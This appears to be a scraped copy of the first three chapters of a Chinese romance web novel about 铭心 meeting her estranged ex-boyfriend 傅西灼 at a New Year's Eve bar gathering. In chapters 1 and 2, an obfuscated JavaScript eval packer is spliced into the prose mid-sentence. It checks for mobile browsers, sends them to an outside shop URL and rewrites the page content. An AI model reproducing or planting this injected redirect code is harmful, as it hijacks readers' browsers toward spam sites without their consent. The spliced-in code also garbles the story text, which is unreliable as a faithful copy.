《爱人耽搁》 1. 第 1 章 《爱人耽搁》by采采青 感谢读者朋友支持正版阅读 第一章 大年三十天刚一黑,风就发了脾气哐当哐当打窗。 零下十九度的风,饶是挤着窗户缝儿溜进来点,也能把人的肉给剐红了。 铭心的眼打墙边人的胸肌上一寸寸地过,手在纸上飞速地磨。 她有一个月没画人体素描了,今晚进度比往常慢,因为模特不配合。 但好在板子上的人体差不多已经成形,只余头部的偏向还略有点怪。 “看窗外。” 铭心用很静的语气提了一声。 三米外那男人头转了转,眼却还朝着她。 跟黏上了似的。 说是说不动他。 铭心站起身,正准备过去“帮忙”调整一下眼神方向,电话响了。 “……嗯?” 接起来。 边听电话边走到窗台那儿一靠,铭心把脸正对着男人的脸: “等你看够了我们再开始。” 跟她一对视,她的模特——很快地把头别过去了。 铭心便也垂下眼,以免听电话的时候视线飞到他裸露的、薄薄的腰腹。 “我选的人还行吧?心情好点了没?”电话那头说。 行。可太行了。 铭心往心里叹一口气 偷眼瞥了林纵一下。 这人…… 原本。 她想的是与其一个人吃速冻水饺当年夜饭,不如花点钱度过一个火热的除夕。 这才找江依帮忙介绍个模特过来,没想到这人是暗恋她……不对,该说是明恋了。 ——是个明恋她的,她的同事。 并且还很难缠。 “林纵的衣服在哪啊?”铭心朝电话里问了句。 她也是真没招儿了,问他他也不说,光在这受冻。 “他才不冷呢。”江依语气有调笑的意思,“我一说让他来当你的人体模特,他可是提前三小时就开始春心燃烧了。” “那你还找他?”铭心说这话也并不避着林纵,“你想替我扯红线啊?” “你怎么知道的?” ……没想到还真猜中了。 江依的声音神神秘秘的:“——不过呢,线的另一端可不是他。” “是谁都无所谓。” 铭心低头低得脖子都酸了,抬手按了按,“我剪断的话你会生气吗?” “……别呀先见一面怎么样?” “我保证是你喜欢的类型。” “而且要说剪断,还不一定是你先还是那位先呢。” “梁宵说他哥难搞的程度跟脸成正比。” “不过呢,你都长这样了,应该不会有拿不下的男人。” …… 一大长串话叽里咕噜滚进脑子里,铭心只听着了夸她的。 “我长哪样啊?”她故意地问了句。 心情不好嘛,就想听点好话。 “就像……没有被踩过的雪?” 铭心一怔。 反应了会儿。 后知后觉地,有点感动。 以为听到的是为了应和她“自恋”的玩笑而信口夸下的沉鱼落雁闭月羞花之类,没想到江依答得这么抽象又这么走心。 兴许是自己也觉得抽象,江依“哎呀”了声,又补一句:“你不是男的你不懂啦,清纯系的杀伤力是永恒的,何况你是清纯系里最好看的。” 她们相识多年,江依是胳膊肘狂往内拐的人,就总觉得她是世界上最漂亮的。 铭心受了感动,愿意支持她的月老事业了:“那好吧,再说说‘我喜欢的类型’。” “不用我再介绍了,人马上到了,真人比啥话都强。” 铭心心里一震,站直了身子。 “啊?” 江依:“你出去接一下去,万一人找不着门。” “?” 她自己就是一路痴了,怎么能再跟路痴相亲? 铭心不乐意:“怪冷的,我不去。” “我傅哥哥是活地图,找不着门那不可能。”电话里,梁宵突然冒了声。 “咦,你这叫法好恶心。”江依吐槽。 铭心却只记挂 这人……名字里有傅? 立刻追问:“人长什么样子?” 本来是想知道有什么明显特征可以让她很快地找到人,也顺便……跟她心里的那个人对照一下。 结果梁宵抢过电话抚养权猛夸了一大通—— 大意是说他哥已经不是人了,帅出了一定的范畴而成为神。 “具体点?神也得有脸吧。”铭心无奈补问了一句。 “反正他往那一站你就知道是他了,特高,特帅,特打眼……硬要找呢,你就找大衣吧。大衣,长款,黑色。”梁宵说,“我哥是那种冻死也要在冬天穿漂亮大衣的人。绝对杜绝羽绒服,因为嫌肿。” “……” 铭心低头看了眼自己充绒量300多克的厚羽绒服。 “我得走了,”铭心脱羽绒服给林纵,“穿着出去吧,找到你自己衣服再拿来还我。” - 梁宵开的这家酒吧叫“半醒”。 两个冷白大字镶在纯黑底框内,牌子挺招眼。 到了门口。 没看见传说中的“黑大衣”。 只有一个毛刺儿头小男孩站在小笼包铺子的灯下,跟她还隔着一间理发店一间药房,个子没半个门高。 “毛刺儿头”发现了她,突然就往她的方向跑过来。跑近了,“啪!”的一声,又疯跑回去。 铭心低头一看,原来这小子掷了个摔炮在她脚下。 好在她早有准备。 还小的时候也常常被男孩们这样恶作剧,那时候傻得不行,挨了欺负,光是吓得吱哇乱跑,也不会想别的招儿。 铭心笑笑,长大也有这么点好处啊,今时不同往日了。 往兜里一掏,也掏出盒“武器”来。抽开了纸盒,她摸黑捡俩摔炮出来,胳膊用力地一掷—— “毛刺儿头”受了惊,大叫着边喊妈妈,边跑进铺子。 “只有你有妈妈吗?哼。” 铭心低声嘟囔了句,心情变得不好了。 但她又有点想看看别人的妈妈是什么样的。 很快,猴子请来了救兵。 “毛刺儿头”妈妈走出来,朝她这迈了几步。 铭心整颗心都提起来,以为要打架。 学生时代过得太乖,她连骂脏话都没学会,气急了也只会翻来覆去骂一句“你是臭狗屎”!而—— 这在当下显然不够用啊! “要放鞭了,”要跟她打架的人喊,“怕就捂耳朵!” 啊,原来不是要打架。 还好还好。 铭心很想为了感谢“毛刺儿头”妈妈而把那两个摔炮撤回。 “捂紧啦!”她回喊。 紧接着一点火光,纸屑炸得乱飞。 噼啪噼啪噼啪! 接着又是一阵。 噼啪噼啪噼啪! 两挂鞭放完,铭心抬眼,妈妈已经进门去了。 整条街空无一人。 风小了很多,缓慢地,把鞭炮的余烟从地面往上拔。 街道被分为两截,一半只有灯影,一半像仙境。 那白烟很浓,往空气里散。 浑浊的白。 ——有人在那烟里。 他们上次相见是什么时候? ……隔了太久的年月,再看见他。 好像两人处在不同结界似的。 他不再像是会出现在她那个人间里的。 那白烟不断往上升,以至于恍惚间。 隔着老远的距离。 他像尊神像。 ——底下是供奉他的香。 铭心整个的木住了。 直至他的衣角擦过她指尖,她才一伸手,懵懵地给拽住了。 男人回身。 只往那被抓皱的衣角上瞥了一眼。 就抬起目光,将视线漫长地,定格在她脸上。 铭心也在看着他。 看他在昏黄柔和的灯影里,依旧帅得很凌厉。 扯扯唇,他自如而淡漠地,将话里的冷箭射向她: “搭讪的招数可真旧。” 铭心一愣,松了手。 眼也躲开。 “我没有想要套近乎的意思。” 她本来说话声音就不大,怕屋里的人听见,就又刻意放低了一些。 “现在这个状况我并不比你早知道,你有想法的话就提出来,我无所谓。”她说,“要装不认识还是什么,我都按你说的配合。” 听完,他摇了摇头。 傲慢的,玩味的。 似乎不满意她的“好心”,他主动低下身子,附到她耳边,很低声地:“这样就太无聊了……” 他说:“我们玩点有意思的?” 明明是问句,却完全不是在咨询她的意见。 他的呼吸是热的,铭心却只觉得冷。 不知道他会做出什么事情来。 - 步子沉得迈不动,铭心走得很慢,一进去,林纵靠在画室的门边——身上还穿着她的羽绒服。 一个激灵,铭心如梦方醒似的,几乎想立刻奔过去把羽绒服从他身上扒下来。 冷静过后一转念,她又想,何必呢。 他连她都已经不在意,会在意她的羽绒服? 心底暗暗觉得自己好笑,铭心没有多余的精气神放在林纵身上,径直走向吧台。 身后,林纵却突然开了口。 “你是因为他才一直不肯接受我吗?” 突突突。突突突。 铭心只觉得脑子里有辆拖拉机驶过,轱辘着轱辘着把她所有的话都给压平了。 压得扁扁的,让她此刻拎不起任何一个字句。 他这是怎么了? 今天为什么这么反常? 铭心回过头去,看看突然“发狂”的林纵,又看看身后的傅西灼。 傅西灼眼中的淡漠没有减少半分,甚至没有回过头去看林纵一眼。 他只是停下脚步,脸上添了几分不耐,语气拽而冷地问: “你口中的他,是我吗?” 空气短暂凝滞了。 铭心快步走过去,把林纵推进屋,关门,又走到傅西灼跟前,一气呵成。 “我们之间的事就不要牵扯别人了。” “推推搡搡,看来很亲密。”他笑,那笑却是轻蔑的。 铭心:“……” 上了二楼,梁宵立刻迎上来:“哥你可算来了,我这酒都开半天啦!” 跟电话里的声音一样,那种生活中没有任何困境的男孩子的声音。 “我来介绍下,这是我哥,我是梁宵。” 江依谈恋爱以来,铭心听过不少关于她男友的事,今天是第一次正式见面。 铭心笑笑:“叫我铭心就行。” “你也打个招呼啊。”梁宵用胳膊肘捣一下他哥。 哥冷着脸。 铭心不想让场面变得难看,率先打破僵局,对傅西灼露出个礼貌的笑:“初次见面,幸会。” 特意这样强调,仿佛欲盖弥彰似的,客套到连她自己都觉得不自然。 闻言,傅西灼的嘴角几不可见地,勾起一个嘲讽的弧度。 …… 落了座,倒了酒。 头顶水晶灯的光映在玻璃杯里,闪着蓝色。 铭心纠结半晌,还是把酒杯推给江依:“我酒量不好,喝多了比较麻烦。” “这不打紧啊,”梁宵先接了话,他讲话的音调总是很高,话也有着与之匹配的热情,“我哥能提供接送服务!” 说完,搭了下旁边人的肩膀:“是吧哥?” 不过半秒,手被无情甩下。 “问我干什么?问你哥啊。” “你不就我哥吗……我还有别的哥?”梁宵鼻子上皱起一点纹路,表示委屈和轻微的不满。 “有吧。” 傅西灼往铭心那儿打了眼,浮皮潦草地一掠,却意有所指似的:“要不然我怎么不知道,你有哪个哥,会送一个初次见面的人回家?” “初次”两个字,像咬碎了牙说的。 “……” 铭心深感无语。 问他打算怎么办的时候他不说正经的,现在她自由发挥了他又不乐意。 这人怎么这么难伺候? 铭心隐隐地,心里也憋了股气。 一丁点儿委屈之外,还生出强烈的物是人非之感。 她笑了笑,尽量让自己显得开朗:“不需要送,我打车就好了。” 他说不送,她就偏要喝。 既然解决了回家的问题,那摆明了是说今天醉了也没事,梁宵一听挺高兴:“那正好啊!我哥会调酒,让他给你露一手。” 还露一手呢。铭心寻思,他不给我露巴掌不错了。 正这么胡乱琢磨着。 以为会因为这不合理要求扭头就走的人,却真的起身,还一反冷态,对她满眼温柔地笑了下:“想喝什么?” “?” 铭心看着傅西灼的背影想。 他一定是被她气到,中邪了。 - “调酒的姿势很帅啊,人也没想象中那么高冷。”短短时间,江依已经完全被他俘获,还反过来催铭心表态,“你觉得他怎么样?” “不怎么样啊。” 铭心嚼着江依妈妈做的一盘酱牛肉,装出一副中年男人指点国家大事时的姿态:“我不喜欢这么装的。” “你看见他那表情了吗?我差点以为我欠了他几辈子的债没还呢。” 铭心又故意地,企图破坏一点他的形象。 江依却很宽容:“帅哥有点架子很正常啦。” 他那是架子吗?他那是棍子,就等着扁我呢。 铭心忿忿地,又咬一口牛肉。 “我特意让梁宵叫他来的,”江依无视她的“不怎么样”,自顾自交代月老历程,“他回国的那天我们去帮着接风,一下车,老远在那站着。我就看啊,太帅了。不需要修饰,就一个字,帅。帅得很鲜明很直观。” “而且你不就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江依很体贴,先尝了口自己的,替铭心判断:“甜甜的,你应该会喜欢。” “这酒叫初恋,”梁宵介绍着,语气里透出骄傲,“名字是我起的。好听吧?” “别在这里邀功了,你初恋是谁?幼儿园同学还是小学同桌?”江依顺势盘问。 “你。” “别撒谎。” 小情侣甜蜜调情中。 一声冰冷的椅子被拉开的声音截停了铭心露到一半的姨母笑。 “调酒师”调完酒,又坐回了她对面。 都看着呢,不喝有点小尴尬。 铭心端起酒杯,抿了一小口。 细品。 “……” 又细品。 “…………” 脑海中溢满了从没说出口的脏话。 再怎么品也是。 尝不出一丁点甜味啊! 苦。 苦妈妈给苦孩子开门——苦到家了! “怎么了,不好喝?” 见她表情不太对,梁宵关怀完立马去问他哥:“是不是调错啦?” 好半晌。 业余调酒师的一声轻笑才钻入耳膜。 “初恋的话,这个味道应该很写实吧?”抬眼,他问: “历小姐认为呢?” 他是笑着的,她却想哭。 喝这个还不如喝中药呢! 刚想开口反驳,嘴里的苦味就又泛上来,相比刚入口时,后劲更加浓重。 铭心被苦懵了,咬了咬牙,突然端起酒杯。 仰头喝干了。 而后,视线看回他,她怼:“这酒好甜。” 说完,忍住了被苦味逼出的眼泪,她继续点评:“就是甜得有点齁嗓子,是不是调酒师水平一般啊?” - “那个……”人一走,梁宵出面解释,“我哥平时挺绅士的,今天可能碰上什么事了心情不太好。” 起身离席,心情不好。 铭心看着傅西灼上楼的背影,隐隐有种报了仇的快感。 藏在这快感之下的,是一小点失落。 他心情不好不是因为碰上事了。 是因为碰上她了。 “你们很奇怪啊。”梁宵上楼去看他哥了,江依凑过来,眼睛像侦探拿的放大镜似的,死盯着她:“你有什么要交代的吗?” “哪里奇怪,你是说我明明没有介绍过姓什么他却叫我历小姐这件事?” “不只是这个。” “那还有什么。”铭心笑了下,那笑也不高兴。 “就是,”江依想了一会儿,“你平时是一个挺随和的人,尤其跟不熟的人,那更不会轻易垮脸了。他呢,按梁宵跟我透露的来看,不一定随和,但很擅长保持体面,可你们今天——” 顿了顿,江依做出个厮杀的手势。 “两个人都,向着对方不停挥剑呢。 那杯酒喝得猛,不知道是不是附加了情绪上脑的副作用,让人觉得眩晕。 往手臂上趴了会儿,瞥见卫衣袖口已经轻微起球。 真的只是很轻微的一点。 是谁也看不明显的。 铭心是没什么物欲的人,一件衣服穿来穿去穿许多年,反而觉得越来越舒服熨帖,最后也不舍得丢而沦为睡衣。 此刻,她却觉得这细小毛球分外扎眼。 她不应该就这样出门的。 应该精心打扮一番。 ——她不想让他觉得,这么多年过去,她依旧很用力很用力地生活。 却依旧过得很糟。 去卫生间洗了把脸回来,江依递给她一张房卡。 “说你羽绒服在他那,要你去找他。” 羽绒服? “不是林纵穿着吗?” 怎么会到他那里? “不知道啊,可能他给从林纵身上扒下来了?”江依在猜。 扒下来…… 把这仨字儿跟傅西灼一联系起来铭心都觉得想笑。 就算天塌下来她都不敢想象傅西灼会做扒男人衣服这种事。 那太野蛮了,不符合他的“绅士”气质。 可眼下…… 要去吗? 不该去。 那件羽绒服已经很旧,他也不会稀罕,没准儿气消了就还给她。 可是摩卡现在变成了冰美式。 他…… 居然连狗的名字都给改了! 这真的很难忍住不问。 情感最终压过了理智。 铭心去敲门。 没用房卡。 咚咚—— 没等敲第三下,走廊的灯忽然灭了。 停电了? 不知怎的,她的心乱跳。 不好的征兆。 转身想走,门却突然打开。 下一秒—— 她整个人被拽进有他的黑暗里。 2. 第 2 章 他那么恨她,携着他的恨,他将她摔向门板。 可出乎意料的,铭心感觉不到疼。 明明整个身子都震了一震,她的头脑她的五脏,此刻都晃晃悠悠地在晕船。 “……怎么敢来的?” 他的冷声冷气让铭心的感知回了笼,她意识到自己的后背是抵在一层软肉上。 ——他的手掌。 她的“绅士”用一只手横在背后,替她隔绝了冰冷的门板。 而她的手则被他攥着,高高地往门上一锢,上了绞刑架。 “给了我这个。” 铭心用尚且自由的那只手伸进口袋,掏出房卡来。 他头低着,像头猛兽伏在她身上。 灼热的鼻息喷在她颈侧,似乎是轻笑了声。 “我以为是邀请呢。” 见他并不满意“给”这个回答,铭心又补了例证。 说完,她想把房卡还给他。 可……怎么还? 他看起来不想要。 黑暗中看不清什么,只能自己动手摸索。 铭心太熟悉他的身体,换做以前,她两秒钟就能摸出口袋的准确位置,从而把自己冻红的手,或者别的什么东西——放进去。 今天却不一样。 时光不复。 旧人又变成了新人…… 为了配得上这份“生分”,她故意地,十分“不熟练”地,把手指在他身上游移。 仿佛是面对第一次进入的迷宫,而无从找到出路。 磨蹭了将近一分钟,才最终心满意足地把手放到早就定位好的那个位置。 ——演这么一出多余的戏,不过是怕他多想。 她不想让他觉得,分开的这四年,她仍时不时地,在脑中复习研磨他的□□和骨骼。 不想让他觉得,她对他仍有很大迷恋似的。 ……并没探到口袋,她手一滑,扑了个空。 又看不见他今天穿的是什么衣服,想了想,铭心暂且把房卡塞到自己屁股后面的牛仔裤口袋里。 没承想他的手一摸,只一秒就准确地从她口袋里取走了那张房卡。 在一点偷泄进来的月亮的光下,她看到他手的影子。 他将那卡一丢,潇洒地掷到了某个平面上。 随即,她的腰间一阵温热。 他居然顺势—— 把手环上了她的腰! “是警告。” 耳语低低响起。 “意思是不立刻跑掉的话……我不会放过你。” 警告? 铭心勾勾唇角。 听起来更像威胁呢。 再说了,他回来,她就该跑吗?城市又不是他的。 铭心在黑暗中无声地笑了下。 他话间的冷漠和无理让她在这晕头转向的暗夜里找到了抓手。 她放了狠话:“那放手啊,我现在走。” 她本来还想放点更狠的。 但她的腰在他手里掌着。 他又不十分老实。 惹得她一张开口来,声音却颤抖得厉害。 很快地,他捕捉到了那点颤抖,也捕捉到了她话中掺入的,不屈的挑衅意味。 掌在腰上的手突然一掣。 她的上半身和下半身,都几乎全紧贴了他的。 “你人在我这,想走就能走?” 他语声很轻,还带着点缠绵的轻蔑。 铭心一听,就有些恼:“你是流氓吗?” “总好过逃兵。” 他有他的武器。铭心哑了声。 可他的身体烫得吓人,一直这么下去……恐怕不是个事儿。 铭心终于又忍不住,“我今天不想当逃兵。” 她拿出好声好气跟他商量的口吻:“你就干脆点直接让我走不行吗?” “逃兵当然要抓起来啊。” 他用一种轻飘飘的、含笑的口吻回。 铭心瞪着他,生了气。 但很快,她意识到生气没用。 ——这该死的停电让他看不清她的表情,她气了,谁能知道呢? 于是调整了更为鲜明的表达愤怒的方式。 她稳准狠地,朝着大片黑暗里一块裸露的白,咬下去。 自认下口很重咬得很疼,却意料之外地,连声闷哼都没听到。 “……” 吃了瘪,铭心像个跑完气的大气球一样,从他肩上缓慢抬起脸。 “除了这份精心准备的见面礼,没有别的话要跟我说吗?” “……” 他不痛不痒的话让铭心感觉受到了蔑视! 她的牙印在他看来成了礼物!他好像没有一点痛觉! “看来抱了期待啊。”答非所问地,铭心故意跟他对着干。 “嗯,说说看。”他的声音里照旧没什么情绪,“骗得好的话我说不定会再次上钩。” “那之后呢?再被我甩掉?” 一阵急风掀动了窗帘,漏进来大片月光。借着那月光,她看清了。 他的目光,是在她唇上。 “嘴巴……看着倒没听起来那么硬呢。” “……” 怕他干出点不该干的事,铭心不打算再跟他缠斗下去。 “我们和解吧。”她提议鸣金收兵。 风闯进来,很猛烈而尖锐的凉意。 使她腰间的皮肤倏地打了个抖。 是方才他的手掌覆盖过的地方。 ……原来,他已经松开了她。 是由于温差吗?铭心不由得想,他的掌心那样烫,包裹她。所以一走,风才显得那样凉。 傅西灼退开她一些距离,靠在玄关的柜子上,抬手拍亮了上方墙上的一盏小灯。 把那小狗形状的挂灯拉得低低的,对准了他的伤处。 圆圆的发光的两只大眼睛,瞪在他一侧的锁骨。他又把头稍微歪了一歪,好让她看清皮肤上的牙印。 “这个能和解吗?你觉得。” “……”完全是不打算放过她的口吻。 头脑风暴了一会儿,铭心没想出让他变得善良的方法,只好放弃这个话题,转而提出一个更棘手的:“我想看看摩卡。” 看到小狗灯,想到狗,很正常吧? 傅西灼并不应声。 怀疑是没听清,铭心又抬高音量。 “我知道你不想让我跟摩卡见面,不见面也可以,但我想你应该有照片和视频。” 小狗灯一松手又弹了上去,他起身,向她迈了半步。 “谁是摩卡?” 他一字一顿:“也是你今天‘初次见到’的人?” “……” 哇记性可真好,重音落得也好,能把她说过的话都嘲讽地、如数地,奉还给她。 铭心忍着脾气,诚挚建议:“你报复心能不能不要这么重?” “重?” “难道不是吗?你到底要把我们的‘初次见面’说到什么时候,说到八十岁吗?” 他似是觉得可笑,也就真的笑出来。 “转头就走的人说什么八十岁。” 她知道他是在说分手那天。 “……” 错开他的眼,铭心把视线扫到客厅里的陈设。 小狗灯的光照亮了屋内一大片空间。从这个角度看过去,他客厅内视线所及的地方都冰冷而有序。 铭心向来认为他拥有一处极大的优点:在任何地方重建自己秩序的能力。 换房子,换工作,出差……她是对这类变动感到堂皇和不安的性格。事情未定之前,就像浮尘一直悬空。 深受这种不安感的影响,她极其讨厌搬家。 即使房子不那么满意,也想尽办法找它的可取之处用来抵消,好用来安慰自己:再住一段时间看看吧,也不是那么难以忍受。 而他总是干脆、迅疾,在经历任何不安定因素之后,都能以果断意志和最快速度重建自己的秩序。 ——所以才给小狗改名字吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315356|198943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>铭心忍不住举一反三。 因为她是从他人生中走掉的人。 所以连她起过的名字也要抹除痕迹。 沉默了好一会儿,铭心尝试再次沟通:“我听说摩卡现在叫冰美式了,但——” “你对我的消息知道得有对狗这样灵通吗?” “……” 她都没有主张改回原名,就只是打算问下他的“理由”,就被他干脆利落地打断。 狗是狗,人是人。他是他。怎么能这样比? 不打算回复此类无理取闹的问题,铭心继续上下而求索:“你就这么讨厌我起的名字吗?” “多说了几个字。” 铭心闭眼,沉气,纠正。 “你就这么讨厌我?” “是。” 他像机器触发程序后吐出快捷指令,只一秒就回答了她的问题。 是料想之中的答案,心里的失落却比她料想的要多。 “在超市遇见的话,打算扔光你购物车里所有的零食;在咖啡店遇见,会买通店员为你投放五倍的浓缩液,在大街上遇见……”顿了顿,他笑,“干脆抓住锁进卧室怎么样? “这四年里我一直在这样设想,所以,应该得有自知之明吧? “我得讨厌你到什么程度,才会每天都只想这些事。” 他的话像连绵的浪潮,一浪接着一浪,连续不断地向她打来,每一个字都拥有击疼海岸的巨大力量。 铭心很震动。 仿佛今晚喝下的那杯苦酒又重生在味蕾里,一时之间堵住了喉咙,不知能说出些什么来回应。 她也并非没有想过,关于他们重逢—— 如果再次遇到,会在哪里? 他身边已经有了新的人吗? 又或者没有,只是把她忘了。 过去种种一下涌进脑海。 ……逝者如斯夫。 末了,她也只是笑了笑,垂眼:“那你现在见到了,在酒吧。” “所以我在想……” 捏住她的下巴,稍微抬起一些,他强迫她与他对视。 “要不要干脆把你灌醉到不省人事,醉到你违心说爱我,我再轻飘飘地拒绝你,说没你我也能活……” 砰,砰砰砰。 突然响起的敲门声如同撞钟。 铭心得救般推开他,去拉门把手。 门打开,走廊已经大亮。 林纵站在门口通知:“来电了,怕你不知道,我来提醒一下。” 的确是刚刚才知道。 铭心似有若无地瞥一眼傅西灼,托这家伙的福。 “工作谈完了吗?没发生什么事吧?” 铭心摇头。 “那就好。”林纵往傅西灼脸上打了眼,很有针对性地开始组织语言,“我还很担心呢,毕竟这一停电黑灯瞎火的,谁知道某些人会干出什么事。” 正被他看着的“某些人”,此刻轻扯了下嘴角。 “我们在谈工作,”他笑,“谁告诉你的?” “我问过江依了,她说你们在谈公事,可能需要一点时间。” “哦。”傅西灼没所谓地挑了挑眉,“那你被骗了呢。” 语气极为欠嗖嗖,“我们在谈别的。” “不谈工作你谈什……” 哐—— 林纵的话被硬生生截断,门让长腿一踹,从黑暗中向着亮处飞扑,走廊明亮的灯光离她越来越远,最后只剩金黄色的一点。——是林纵用一条手臂塞住了门。 手扒在里面的墙上,他还没反应过来似的,隔了两秒才“啊——”的一声惨叫出来。 “又关门……你、你想干什么?”他在忍着疼,颤抖却从声音里透出来了。 铭心想去救人,却被傅西灼扯回去。 长腿朝她一逼,凑近了,他用鼻尖去蹭她的发丝。很暧昧地。 “继续黑灯瞎火,”嗓音蛊惑而清晰,足以让外面的人听清,他回应着林纵,也回应着她,“……干你担心的那种事。” 3. 第 3 章 门一关。 傅西灼立时挨了一巴掌。 掺杂着呼吸声,铭心很怒,“戏弄别人很好玩吗?” 却因为距离太近了,打得很笨拙。 被他捉住手腕,用鼻子去贴。 “……香水也是他用过的?” 他并不回答她的话,自顾自开了新问题,鼻尖埋进她手心,胡乱地磨。 “除了衣服,你们还分享过对方的什么?” 提到衣服,铭心才想起她来这是为了什么。“我羽绒服呢?” “扔了。” 她一愣。把手挣脱出来,按下墙上灯的开关。 “怎么,不能扔?” 白亮的光打在他脸上,一笑,就更加好看。看着她,他做出恍然大悟的表情。 “啊——我忘了。”他道,“丢弃这种事情是你的专长。” “……” 铭心鼓着气,想找话来反驳。 可他的话毫无漏洞,只要一提到“感情”,她总像亏着他似的,末了也只能大吃哑巴亏,一句话都说不出来。 好在电话响了。 铭心赶忙接起来。 “给你发消息怎么叫不动啊。”料想江依是叫她出去吃点东西的,这是个很好的逃脱机会,铭心故意地按开了扬声器,江依的声音在一片寂静里格外突出,“出来吧,你俩一起,都出来吃点夜宵。” “……” 怎么,还把他也叫上了。 但是这么晚了,傅西灼是不吃东西的,反正以前是这样,不知道现在改没改。 算了,不管他了。 铭心自己下楼。 却听见脚步声。 一回头,他也跟了下来。 “?” 有种不好的预感,总感觉他又要使什么坏。 …… 天台。 梁宵先看见了她,用手点点耳朵,示意她捂好:“我正好要点火了,别靠太近啊,这玩意儿动静挺大,捂好耳朵。” 边说边把一罐方形的烟花在地上摆好。 本来想近距离观看的,他这么一说铭心就听劝地跑远了,一只手捂耳朵一只手拿出手机来录视频。 砰。 砰砰砰。 烟花在深灰的天幕上炸开,绚烂的虚无的,眨眼就没。 拍完,铭心把手机揣兜里一回头,林纵正看着她。 他什么时候来的?还以为走了呢。 眼神一对上,他招她过去。 桌上就仨人,林纵跟江依在一排,只剩江依旁边一个位置。铭心坐过去,跟傅西灼面对面。 “好可爱啊简直了怎么能这么可爱?”屁股刚碰到板凳,江依就突然发了句怪声。 铭心吓了一跳往她那儿看,见她捧着个手机嘿嘿傻笑,嗓子里还时不时发出一些奇怪的音节。 “看什么呢?”认出来那是傅西灼的手机,铭心状若无意地淡声问了句。 同时,为了表示不在意,她正襟危坐,连眼神都没往那再瞥一下。 江依捣了捣她手肘,依旧夹着嗓子:“你也来看,冰美式真的好萌好会撒娇啊!” 铭心没再矜持,立刻扭了身子,把板凳也往那一挪。 才刚看到比格大王的两只大眼睛,手机就被人一抽,从江依手中飘走了。 铭心:“……” 傅西灼按了锁屏,把手机往桌面一扣。 “……”小气成这样,真无语了。 铭心把凳子搬回原地时故意弄了点动静,企图招惹他注意。 他果然看过来,铭心按照计划把头一撇,哼声道:“很丑啊。” 吃不到葡萄说葡萄酸。她就这样。 对不起啊摩卡我对人不对狗你是世界上最可爱的小狗。 在心里默念了一串咒语,铭心冷着脸,不再搭理谁。 脸上却突然疼了一下,一阵微小的刺痛。 下意识摸脸颊,一个烟花形状的小贴纸粘到了手指肚上。 “谁要?”林纵往她这贴完,又晃了晃手里剩下的。 江依伸手要了一个。 铭心抬起眼,傅西灼正看着她,嘴角一抽,很嘲讽的。 哈……露出这表情给谁看,我现在看你也很不爽好吗。 她的脸对胶水之类的有轻微过敏,容易引起瘙痒,本来都打算扔了,被他这么一挑衅,她又把贴纸贴回脸上,还特意多摁了两下。 以表示刚才的摘取并不是舍弃,而是为了把它调整得更加牢固。 俩人对视了会儿,傅西灼先错开视线,低头把玩手机。 操弄了一小会儿,突然他把手一递,表示手机可以借给她。 铭心不屑。 以为我会这么容易被收买吗? 他又一递。 是的我是。 为了看摩卡,铭心暂时抛下了恩怨情仇,接过他的“议和书”。 她忘了贴纸而脑子里只有狗图。 屏幕是熄灭的,要是现在当众管他要密码的话……他没准会反悔。 想到这,铭心干脆自己试探着打了几个数字,没想到他还真没换,密码跟以前一样。 密码一输,主页面就弹出来。 屏幕上两个大字排一排,写着—— 很丑。 以0.01秒的反应速度,铭心把那贴纸从脸上薅下来,并用百分之二百的怒气牢牢粘在了他手机壳上。 好了,现在丑的是你的手机了。 她神清气爽。 手机还了,气可还没消呢。 梁宵下楼拿了烤串回来,她也没吃。酒倒是喝了几口,压压火。 想着学学人家电视剧里一醉解千愁,没想到实在喝不惯。杯子里还剩一半,铭心偷偷把酒杯推远,寻思着过会儿结束就倒了去。 没想到林纵发现了,拿起她的酒杯。 ……一些公司团建时被劝酒的记忆席卷而上。 铭心立刻声明:“还有呢还有呢,不用给我倒。” “是看你喝不完了,没想倒。”林纵笑了一笑,拿走那半杯酒,仰起头来一饮而尽。 “……?” 那可是……我用过的杯子啊! 现在人都没洁癖的吗? 愣愣的,铭心不知该接什么话好了。停顿了两秒,才木然地说了声谢谢。 除了这俩字,好像说什么都很奇怪。 “谢什么啊,以后你不喜欢的我都能帮你解决掉。” 说完,没喝够似的,林纵又拿起酒瓶往她那空杯里倒。刚一倾斜瓶身,手腕就被人扼住了。 傅西灼制住他握酒瓶的手,另一只手从他手里取下酒杯,随手一掷,杯子就以一个潇洒的弧度落进了一米外的垃圾桶。 “……”铭心也是呆住了。 他有必要讨厌她到这种程度吗?连她的杯子都不放过? 有点委屈,也有点气氛被搞砸的窘。 江依和梁宵去送林纵走,桌上就只剩两个人。铭心从刚才就酝酿着打算跟他谈谈。 “刚才说小狗丑是假的,气话,你别在意。”首先从道歉开始。 她第一次带摩卡出门的时候,旁边一个胖男人说这狗怎么这么肥,她气了好久。将心比心,她自己也不应该说这样的话。 “我也是。”他模仿着她不尴不尬的语调,礼尚往来道:“你很漂亮。” “谢——” “就只有脸蛋漂亮而已,”他打断她接下来的一个谢字,“人其实超乎想象地坏。” 铭心:“……” 忍了忍,她叫:“傅西灼。” “嗯。” 已经有四年,她没有喊过他名字。 “我们一定要这样吗?” “一定要剑拔弩张地让对方受伤和难堪吗?” “你就做你擅长的事,像平常一样淡漠平静地生活,把我当作任意一个无关紧要的透明人不行吗?” 一口气说完这些,她好像刚从水面露出头来,终于得以喘气。 等了会儿,傅西灼点点头,却并不像是在表示同意。 “见了面问冬问春,问雨问晴,说点无关痛痒的话,礼貌客套地寒暄。”他问,“你喜欢这种风格?” 不是喜欢。 是我们必须这样。 